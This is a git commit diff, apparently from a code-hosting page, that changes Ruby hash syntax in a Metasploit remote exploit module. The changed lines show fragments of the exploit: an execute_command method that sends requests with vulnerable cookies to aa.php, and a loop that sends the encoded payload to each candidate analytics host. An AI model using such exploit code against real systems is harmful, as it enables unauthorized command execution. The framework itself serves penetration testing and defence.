Use newer Ruby hash syntax
parent
c93dc04a52
commit
f521e7d234
|
@ -212,7 +212,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
nil
|
||||
end
|
||||
|
||||
def execute_command(cmd, opts = { :analytics_host => vhost })
|
||||
def execute_command(cmd, opts = { analytics_host: vhost })
|
||||
vuln_cookies = %w(anw anm)
|
||||
res = send_request_cgi(
|
||||
'uri' => normalize_uri(target_uri.path, 'aa.php'),
|
||||
|
@ -249,7 +249,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
analytics_hosts.uniq.each do |host|
|
||||
next if host.nil?
|
||||
vprint_status("#{peer} - Trying hostname '#{host}' - Sending payload (#{payload.encoded.length} bytes)...")
|
||||
break if execute_command(payload.encoded, { :analytics_host => host })
|
||||
break if execute_command(payload.encoded, analytics_host: host)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue